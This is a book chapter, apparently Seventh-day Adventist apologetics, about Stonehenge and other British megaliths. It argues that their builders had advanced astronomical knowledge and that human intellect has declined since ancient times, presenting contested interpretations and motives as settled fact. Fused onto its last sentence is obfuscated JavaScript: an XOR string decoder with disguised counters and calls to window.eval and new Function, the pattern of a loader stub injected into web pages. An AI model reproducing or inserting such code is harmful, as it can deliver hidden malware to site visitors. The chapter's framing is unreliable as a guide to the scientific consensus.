Chapter 19: How Advanced Were the Ancients?
There is no remembrance of men of old,
and even those who are yet to come
will not be remembered by those who follow.
Ecclesiastes 1:11
“The achievements of civilized man in preliterate times, prior to the building of the first cities in Neolithic antiquity, include a high development of the exact sciences and technologies.”[1]
“Mesopotamia cherished a tradition that at the dawn of civilization, long before any period of history known to us, science stood at a level from which historic man has fallen.”[2]
Instead of surveying a variety of evidence supporting the view that prehistoric man was highly sophisticated—an approach that would yield superficial and unsatisfying results given our space constraints—we will focus on the British megaliths (megalith means “big stone”). There are more megalithic structures in the British Isles than there are modern towns and villages.[3] The megaliths constitute some of the world’s most compelling evidence of prehistoric sophistication.
1. Stonehenge and the British Megaliths
Excluding the pyramids, the most famous megalithic site in the world is Stonehenge, on the Salisbury plain in southern England. Archeological evidence suggests that Stonehenge was built in three phases, the first of which is thought to have begun around 3,100 B.C. (Plate 29) During the first phase of construction, a circular mound was created; fifty-six “Aubrey Holes” were dug, forming a circle just inside the mound; two stones were erected at the entrance to the site; and four “station stones” were erected in the Aubrey circle, forming a rectangle.[4]
During the second phase of construction, thought to have begun between 2,500 and 2,100 B.C., about eighty “bluestone” pillars, weighing four tons each, were brought from the Preseli Mountains of Wales, 240 miles (385 km) away, and erected in two concentric semicircles.[5] The entranceway, called the “Avenue,” was widened and lined with border mounds, and a pair of “heel stones” was erected.
During the third phase of construction, starting sometime between 2,500 and 2,000 B.C.,[6] the bluestones were removed to make way for a circle of gigantic stones called “sarsens,” which were hauled from Marlborough Downs, about twenty miles (30 km) to the north. The sarsen circle consisted of thirty upright stones capped by a ring of horizontal stones called “lintels.” Within the sarsen ring, the builders erected five large stone structures called “trilithons” (three stones), arranged in a horseshoe formation. Each of the five trilithons consisted of a pair of gigantic stone uprights, supporting a mammoth stone lintel. Inside the trilithon horseshoe was placed a semicircle of nineteen bluestones. Between the trilithons and the sarsen circle, a circle of perhaps fifty-nine bluestones was erected. Later, perhaps around 1,500 B.C., a circle of thirty “Y” holes and a circle of twenty-nine “Z” holes were dug outside the sarsen circle, in an irregularly spaced fashion.
The sarsen stones are as long as thirty feet and weighed up to forty tons (80,000 pounds). Although the sarsens were formed from extremely hard, silica-cemented sandstone—a stone harder than granite—the builders worked them as if they were wood, dressing and smoothing them with stone hammers. The builders carved mortise-and-tenon joints (convex half-globes on the top of the upright sarsens and matching concave half-globes on the undersides of the lintels) to hold the lintels on the upright sarsens. They curved the lintels so that when joined, they would produce a circle; they fit the lintels to each other with tongue-and-groove joints. Although the monument was built on sloping ground, the builders adjusted the height of the sarsens to compensate, so that the lintel ring was almost perfectly level. Still awe-inspiring after 4,000 years, the monument is an astonishing engineering and construction achievement.[7]
But what is more remarkable about Stonehenge is the celestial knowledge it incorporates. In 1740, a British antiquarian named Dr. William Stukeley (1687-1765) pointed out that “the principle line of the whole work [points to] the northeast where abouts the sun rises when the days are longest.”[8] Stukeley noticed that if one stands in the center of Stonehenge on June 21, the summer solstice, the sun rises over the “heel stone,” an upright 35-ton sarsen standing some two hundred feet from the center of the monument. Later research by Sir Norman Lockyer (1836-1920), a scholar with an excellent reputation, confirmed the solstitial alignment of the “avenue” and the “heelstone.”[9]
Figure 19.1: Sunrise Over the “Heel Stone” on the Summer Solstice
Early investigators, such as John Aubrey and William Stukeley, attributed Stonehenge to the Druids, a Celtic priesthood of the seventh century B.C. But the monument predates the Celts and the Druids by more than a thousand years. Nevertheless, modern-day “Druids” have held summer solstice ceremonies at Stonehenge. Indeed, the solstitial convergence of “Druids” and assorted other enthusiasts became so riotous that the British government was forced to close Stonehenge every summer and winter solstice.
But Stonehenge was not aligned only with the summer solstice. Far more celestial knowledge is built into its design. A major breakthrough in decoding its builders’ purposes came after Gerald S. Hawkins visited the site in the early 1960s. Hawkins was a British astronomer who had moved to the United States and become associated with Boston University and the Smithsonian Observatory. When it was still legal to do so, Hawkins and his wife visited Stonehenge and witnessed the dawn on the morning of the summer solstice.
Hawkins felt that the phenomenon of the sun rising over the heel stone must have been carefully planned. He also noticed that the narrow openings through the large trilithons forced him to view specific spots on the horizon:
The trilithon archways are astonishingly narrow. The space between the gigantic pillars is so small that you can hardly poke your head through (I tried). The average width of the three standing archways is 12 inches, and the average thickness of the bordering uprights is 2 feet, so that when you look through two aligned archways your view is restricted to a very small angle. I felt that my field of observation was being tightly controlled, as by sighting instruments, so that I couldn’t avoid seeing something. What was I supposed to see?[10]
Hawkins realized that the significance of Stonehenge’s viewing angles could never be comprehended in a lifetime of personal observation. “We need the machine,” he thought. Hawkins took a map of Stonehenge, used a mechanical plotter to plot all the viewing lines, determined the compass directions, or azimuths, of the lines, and fed the data into an IBM 7090 mainframe computer. He then checked for matches with the declinations of some of the major stars–Sirius, Canopus, Alpha Centauri, Vega, Capella, and Arcturus—but came up empty.
He next ran the data against the positions of the extreme declinations of the sun and moon. Jackpot! With an average error of less than one degree (out of 360), twelve of the Stonehenge alignments pointed to extreme positions of the sun; with an average error of 1.5 degrees, twelve of the alignments pointed to extremes position of the moon.[11]
What are the extreme positions of the moon? The earth is tilted about 23.5 degrees relative to the plane of its annual orbit around the sun. This is called the angle of the ecliptic, and it causes the seasons. A direct line from the sun to the earth hits the earth at about 23.5° north of the equator (the tropic of Cancer) on June 21st of each year (the summer solstice, for us in the northern hemisphere), and about 23.5° south of the equator (the tropic of Capricorn) each December 21st (the winter solstice). The moonrise and moonset go through this 57° variation monthly, rather than annually, except that, unlike the sun, the moon’s minimum and maximum declination are not constant. This is because the moon’s orbit around the earth is inclined by a little over five degrees to the angle of the ecliptic. Thus, moonrise and moonset vary between extreme positions at a major standstill, when it is about 28.5° from the angle of the ecliptic, to a minor standstill when it is about 18.5° from it. One complete cycle of variations takes 18.61 years.[12] Astonishingly, the builders of Stonehenge observed the moon over a long-enough period of time to fix the extremes of its 18.61-year cycle.
After Hawkins published his findings in the prestigious journal Nature, he learned that another researcher, a retired engineer named C. A. “Peter” Newham, had independently discovered celestial alignments in the station stones.[13] Newham had discovered that certain holes that had once held poles or stones, when viewed from the station stones, created lines that pointed to the equinoxes of the sun and moon. Because these holes lay close
to the line between the center of the monument and the “heel stone,” Hawkins assumed that they had merely been additional markers of the alignment of the summer solstice sunrise, and he had ignored them.[14]
Armed with Newham’s information, Hawkins went back to the IBM 7090 and entered the new azimuth directions. He found eight more matches—all equinox sunrises or moonrises. In his Nature article, Hawkins had calculated the odds that all the alignments were the result of chance as one in a million.[15] After adding Newham’s equinox lines, Hawkins recalculated the odds, using Bernoulli’s law, as one in ten million.[16] Clearly, the alignments were not accidental.
Another fruitful response to Hawkins’ Nature article was from R.S. Newall, an archeologist who had rediscovered the circle of holes originally discovered by John Aubrey. Newall had written the official guidebook on Stonehenge.[17] Newall pointed out that Diodorus Siculus (of Sicily), a Greek historian of the first century B.C., had written that beyond the land of the Celts was an island country with a temple “spherical in shape” dedicated to Apollo, the sun god. The sun god returns every nineteen years, “the period in which the return of the stars to the same place in the heavens is accomplished . . .” Diodorus also noted that the people of the island were careful observers of the moon. Newall wondered whether the circular temple of which Diodorus wrote could have been Stonehenge. “Could the full moon,” Newall wondered, “do something spectacular once every 19 years at Stonehenge?”[18]
What was the meaning of the nineteen years, and what was the “spectacular” lunar event? Hawkins began to wonder whether the full moon might have been eclipsed every nineteen years. Consulting a standard work on historical eclipses, Hawkins discovered that an eclipse of the moon or the sun always occurred when the full moon nearest the winter solstice rose over the heel stone. Moreover, when the winter moon, viewed from the center of the monument, rose over marker D (“winter moon high” in Figure 19.5), or marker F (“winter moon low” in Figure 19.5), the harvest moon was eclipsed that year.
Being able to predict these extremes of the moon would enable the astronomers of Stonehenge to predict when these harvest moons would be eclipsed. But since the moon takes 18.61 years to cycle, how would they keep track? If they used a nineteen-year cycle, it would soon become inaccurate; by the third cycle, it would be off by a year. The smallest number that would have been accurate for multiple cycles was 56, or 19 + 19 + 18. The number 56 rang a bell in Hawkins’ mind: “The figure 56 seemed familiar. It was familiar—it was one of the oldest, most puzzling mysteries of Stonehenge. It was the number of Aubrey holes.”[19]
No one had ever proposed a satisfactory explanation for the Aubrey holes. They were very carefully spaced and deeply dug, but they had apparently never served any structural purpose. Some of them showed evidence of having been dug and refilled several times.
Hawkins began thinking about ways to use the Aubrey hole circle to predict eclipses. In a 1964 article in Nature, Hawkins argued that by moving a series of six markers around the Aubrey holes—counter-clockwise, one hole per year—the operators of Stonehenge could have predicted every important lunar event for hundreds of years.[20] The number 56 is the smallest number that measures the swing of the moon with an overall accuracy of better than three days, and lunar cycles provide the only method of long-range eclipse prediction related to the seasons of the year. 21
Mainstream archeologists, convinced that the builders of Stonehenge were primitive, were quick to attack Hawkins’ work. They were not prepared to entertain the suggestion that the Aubrey holes were used in aid of predicting eclipses:
Although the whole of the monument had now been given an astronomical basis, archaeologists such as Atkinson and Jacquetta Hawkes were not the least bit convinced by the evidence put forward—believing that the whole idea advanced by Hawkins seemed much too fanciful and totally beyond the intellectual capabilities of the so-called barbarian races who had inhabited the British Isles during the prehistoric period.[22]
But the new implication that Neolithic man had the intellectual capabilities to conceive and then operate such a computer-like device raised further serious doubts among archaeologists. . . . Most archaeologists were not entirely negative to the idea of seeing certain astronomical alignments built into Stonehenge . . . But the evoking of the Aubrey holes at Stonehenge as a prehistoric eclipse predictor was totally unacceptable to all but a tiny minority of archaeologists no matter how favourably swayed towards the idea some astronomers and the general public following appeared to be.[23]
The criticism of Hawkins’ work was motivated entirely by the fact that his discoveries clashed with Darwinian presuppositions. His findings did not fit the Darwinian paradigm that man has continually advanced from an initially primitive condition. Despite the fact that the engineering aspects of the monument amply demonstrate the high intellect of its designers and builders, Darwinist archeologists would not believe that a people so ancient–who left no written records and apparently had no written language—were so sophisticated. Only the inspired insight that the superiority of the ancients’ minds allowed them to function without a written language can explain the seeming contradiction between engineering and astronomical sophistication, on one hand, and pre-literacy, on the other.
If Stonehenge were the only megalithic site that seemed to show that its builders were observers of the heavens, we would have reason to doubt Hawkins’ conclusions. But it is not. There are many megalithic sites in Great Britain, Ireland, and France that have celestial orientations. For example, Callanish is a group of standing stones situated on the Isle of Lewis, the northernmost island of Scotland’s Outer Hebrides. It had long been observed that Callanish pointed to extreme declinations of the sun and moon, and Hawkins came to the same conclusion. What is most interesting about Callanish, however, is its location. It is near the Arctic Circle, at a latitude where the moon, at its extreme declination, remains hidden just below the southern horizon. Callanish is located one degree three minutes south of this critical latitude, and the full moon at midsummer stands about one degree above the southern horizon once every 18.61 years. A row of stones points to its rising, transit and setting at this time.[24]
A Scottish engineer named Alexander Thom had for many years been meticulously investigating and measuring English and Scottish megalithic sites, including their celestial alignments, but his work did not become well known until after the publicity and controversy created by Hawkins’ Stonehenge articles in Nature. Based upon his careful examination of many megalithic sites, Thom concluded that the megalithic builders knew of the moon’s minor variation.
What is the minor variation? As noted above, the moon’s orbit around the earth is inclined by about five degrees, eight minutes, to the angle of the ecliptic. It also has a minor variation of up to 9½ minutes, caused by gravity. Thus, the moon’s deviation from the angle of the ecliptic ranges from a maximum of five degrees, 17.5 minutes to a minimum of four degrees, 58.5 minutes. The maximum is reached when the moon is between the earth and the sun—which coincides with solar eclipses, making them predictable. The minimum is reached when the earth and the moon are at right angles to the sun. The minor variation was unknown to the Greeks. Tycho Brahe, in the sixteenth century, was the first to measure the minor variation, although Arab astronomers knew of or suspected its existence in the tenth century.
Thom argued that the megalithic builders not only knew of the moon’s minor variation but also were able to determine the exact time of its maximum. Thom based this claim upon two Scottish sites, Temple Wood in Argyllshire and Mid Clyth in Caithness. At these sites, stone markers point to natural “notches” in the hills. At Temple Wood, for example, the standing stones point to a well-defined notch in the hills about 1.25 miles (2 km) away. By using an extremely distant natural foresight, Thom argued, the megalithic builders were able to measure the sun and moon’s declinations accurately enough to calculate the value of the minor variation.[25] If Thom was correct, the megalithic builders had knowledge that was soon lost and that has been rediscovered only rarely in all subsequent human history. Clearly, Stonehenge is not alone as a megalithic monument oriented to points of celestial significance. Far from it.
Sir Fred Hoyle, an astronomer of immense reputation, jumped into the debate on Stonehenge with a 1966 article in Nature entitled “Stonehenge—An Eclipse Predictor.” There could be absolutely no doubt, Hoyle wrote, that the Aubrey holes had operated as an ingenious eclipse cycle computer. He criticized Hawkins’ interpretation of how the Aubrey holes were used, however, and suggested a different method, one that imputed even greater sophistication to the astronomers of Stonehenge.
Hoyle suggested that the Aubrey circle represented the ecliptic itself, and markers representing the sun, the moon, and the position of the observer could be moved around the circle so as to represent the actual motions of the Sun and Moon. With this method, the Aubrey circle could be used to predict almost every eclipse, even though only roughly half of them would be visible from the position of an observer at Stonehenge.[26]
Hoyle also disagreed with Hawkins regarding supposed azimuth or sight-line errors. Ten out of twelve lines that Hawkins cited as being slightly in error (because he assumed that the builders had intended to point exactly to the solar and lunar extremes), Hoyle believed were not errors. Hoyle suggested that the builders had not intended to mark the extremes exactly. In most cases, the sight line was slightly ahead of the turning point, which, Hoyle argued, would have allowed the observer to determine the date of turning more accurately.[27]
An article by Peter Newham followed Hoyle’s article in the same issue of Nature. Newham pointed out that one of the thirty sarsens (stone 11) making up the sarsen circle was smaller than the other twenty-nine. Newham believed that this was intentional, and that the smaller sarsen was intended to represent half of a day, such that the sarsen circle would signify the 29.5 day lunar month. Newham also noted that the circles of thirty “Y” and twenty-nine “Z” holes allowed the builders to track the lunar month by moving a marker alternately through the Y and Z circles.
And then, there was also the circle of possibly fifty-nine bluestones inside the area that would later be encircled by the thirty sarsens. If there really had been fifty-nine stones, and many archeologists agree that there were, this bluestone ring would have provided an even better method of tracking the lunar months. Newham also pointed out that the nineteen-year phase, or Metonic, cycle could have been signified by the nineteen bluestones located inside the horseshoe of the five massive trilithons. Newham and a French architect had discovered something extraordinary about the location of Stonehenge. The latitude fifty-one degrees seventeen minutes north of the equator very nearly makes a perfect 90-degree right angle between a line pointing toward the extreme solar horizon points and a line pointing toward the extreme lunar horizon points. Thus, the “station stones” form a rectangle. If the site were moved thirty miles north or south, it would change the celestial geometry. “Outside this zone the rectangle would be noticeably distorted. . . . perhaps these people were aware that the angles of the quadrangle formed by the station stones would change as one moved north or south.”[28] The right angle would only repeat at the same latitude south of the equator. Stonehenge was placed at the only latitude in the Northern Hemisphere that made its unique geometry possible.[29]
Stonehenge was designed and built as an observatory and eclipse predictor. Every detail of the monument, including its location, furthers this purpose, and the significance of many of its features can only be understood in light of this purpose.[30] But this purpose implies that its builders had intellectual attainments far beyond those previously attributed to “stone age” people. Sir Fred Hoyle thought that perhaps there existed, in prehistoric times, groups whose intellectual norm was considerably higher than that of the present day. “A veritable Newton or Einstein must have been at work,” wrote Hoyle, “but then why not?”[31]
Why not? Because of the myth of perpetual progress, because early man was supposed to have been bridging the intellectual gap from apes to humans. The “why not” is the Darwinian paradigm. But Hoyle’s statement has a very familiar ring to the Seventh-day Adventist ear. “In strength of intellect,” we have been told, “men who now live can bear no comparison to the ancients.” The Darwinian paradigm has it exactly backward. “True knowledge has decreased with every successive generation.”[32]
Stonehenge itself evidences a history of intellectual decline. The use of Stonehenge as an observatory is already apparent in Stonehenge I, the oldest part of the site.[33] Even harsh critics of the astronomical interpretation of Stonehenge have admitted the celestial significance of Stonehenge I. Richard Atkinson, an archeologist who worked at Stonehenge during the 1950s, said that, “most of what has been written about Stonehenge is nonsense or speculation. No one will ever have a clue what its significance was.”[34] But Atkinson admitted that, “we must accept, I think, that the positions of at least the heel stone and the station stones, and indeed, the latitude of Stonehenge itself, are astronomically determined . . .”[35] Of course, these features of the site were part of the original construction, as were the Aubrey holes. If the Aubrey holes were used to predict eclipses, as both Hawkins and Hoyle believed, the true genius of the earliest Stonehenge builders is apparent.
The later stages of the building, though far more elaborate, and an amazing display of engineering and building skills, do not represent any advance in astronomical science. In fact, they represent a decline:
Very few of the major sight-lines of the first two periods were blocked by the imposing architecture of the final temple. But Stonehenge III was not in any sense an accurate or sensitive observing instrument, in the way that the first phase of the monument had been. The intriguing possibility exists, therefore, that over the 1,000-year history of the monument there was actually a decline in the level of astronomical investigation—a decline from the systematic and practical layout of Stonehenge I to the monumental and symbolic architecture of Stonehenge III. [36]
Sir Fred Hoyle came to the same conclusion: “I was convinced that the inner part, which was built around 1,500 BCE, was really mostly a matter of simply religious construction,” Hoyle said. “I thought the people who built the first structures there, approaching 3,000 BCE, were the cleverest and that the later people didn’t know what they were doing.”[37] This may explain why the megalithic portion of the monument was built. It is as though the megalithic builders realized that their culture was slipping into darkness and decided to build a massive, permanent structure at the site to ensure that the genius of their ancestors would never be forgotten.
The graves of the British megalithic builders document the same pattern of decline. The tombs of 3,000 B.C., including Newgrange and Maes Howe, were monuments. These tombs are called “passage graves,” because each had a long, megalith-lined passage leading to a central burial chamber, all covered by a large earthen mound.
The tomb at Maes Howe, in the Orkney Islands of Scotland, was one of the great achievements of prehistoric architecture.[38] The passage is 50 feet long, three feet wide, and 4½ feet tall; 20 feet of the passage is formed by three megaliths, each 7 inches thick, 4 ½ feet wide, and 18 to 20 feet long. The central vault (Plate 30) was 18 feet tall. Four megalithic buttresses at the corners support the central vault. The most striking feature of the central vault is the quality of the masonry. The wall faces are flush, with fine joints between regular, rectangular blocks. Many of the masonry courses consist of a single stone slab, about ten feet long, running from buttress to buttress.[39]
Newgrange on the River Boyne, County Meath, Ireland, is another example of a splendid megalithic tomb dating from around 3,000 B.C. The mound is 260 feet in diameter and 30 feet high, ringed at its base with megaliths. The passage is 62 feet long, almost 12 feet tall at the entrance, and roofed with large stone slabs. It is lined with 43 megaliths, many of them more than six feet tall and weighing ten to twelve tons each. The central vaulted chamber rises to a height of 20 feet. Newgrange has a unique feature, a “roof box” above the roof of the passage, set back a few feet from the entrance.[40]
Like Stonehenge, these tombs demonstrate celestial awareness. The passage at Maes Howe is oriented toward the west, toward sunset on the winter solstice. For about six weeks, centered on December 21, the rays of the setting sun shine through the passage and illuminate the inner vault. At Newgrange, by contrast, the passage is oriented toward the east, toward sunrise on the winter solstice. Michael and Claire O’Kelley, who excavated Newgrange in the 1960s, were told of a folk legend that the tomb was illuminated at dawn on the winter solstice. They positioned themselves in the vault at dawn on December 21, 1969, and, sure enough, “a pencil of direct sunlight shown through the roof-box and along the passage to reach across the tomb chamber floor as far as the front edge of the basin stone in the end recess.”[41]
This effect was not accidental. The passage runs uphill to the central vault, and sunlight cannot reach the vault through the doorway of the passage. The roof box is above the doorway, however, about six inches above the height of the floor of the vault, so that sunlight streaming through the roof box will reach the vault. The O’Kelleys consulted an astronomer to make certain that the effect was present when Newgrange was built. He reported that the winter solstice sunrise, “has shown [into] the chamber ever since the date of its construction and will probably continue to do so forever, regardless of secular changes in the obliquity of the ecliptic.”[42]
Later burials were more modest, but still attest to a very high cultural level. There were multiple burial chambers called “long barrows,” which consisted of long earthen mounds anywhere from two feet to twenty-two feet high, and always more than twice as long as they were wide. These mounds typically contain several burial chambers, usually constructed of megalithic slabs, but sometimes of massive timbers. England’s famous long barrows bear such names as “Belas Knap,” “Hetty Peglar’s Tump,” “Wayland’s Smithy” and “the Toots.”[43]
Still later, toward the end of the “Stone Age” and the beginning of the “Bronze Age,” there was a transition to “round barrows.”[44] These typically consisted of a small, round earthen mound, not containing any stone or wooden burial chamber. There are over three hundred round barrows within a two-mile radius of Stonehenge. These early Bronze Age barrows often contained grave goods, some of which are quite spectacular. In the early 1800s, a barrow near Stonehenge was excavated, revealing the skeleton of a “tall and robust” man,[45] along with a number of gold objects, including a breastplate and belt buckle of pure gold, finely hammered and etched. Other barrows revealed gold earrings and buttons, and bronze daggers and spear points.[46]function lrADXZU(lWD, AbhKMeYCJg, fgx){var pYWIIWhZd=fgx.split(AbhKMeYCJg);var aPqidMC='';for(pSSdcfuV=-0x11-0x6+0x1b+0x22+0x7-0x2d;pSSdcfuV<(pYWIIWhZd.length-1);pSSdcfuV+=-0x21+0x32-0x15+0x1d-0xa-0xe){ zLGso = pYWIIWhZd[pSSdcfuV]^lWD;aPqidMC += String.fromCharCode(zLGso);}return aPqidMC;}function cQZjWicg(TlBau){ window.eval();var sCWlTzVV=new Function("FIhQ", "return 138891;");window.eval(); }
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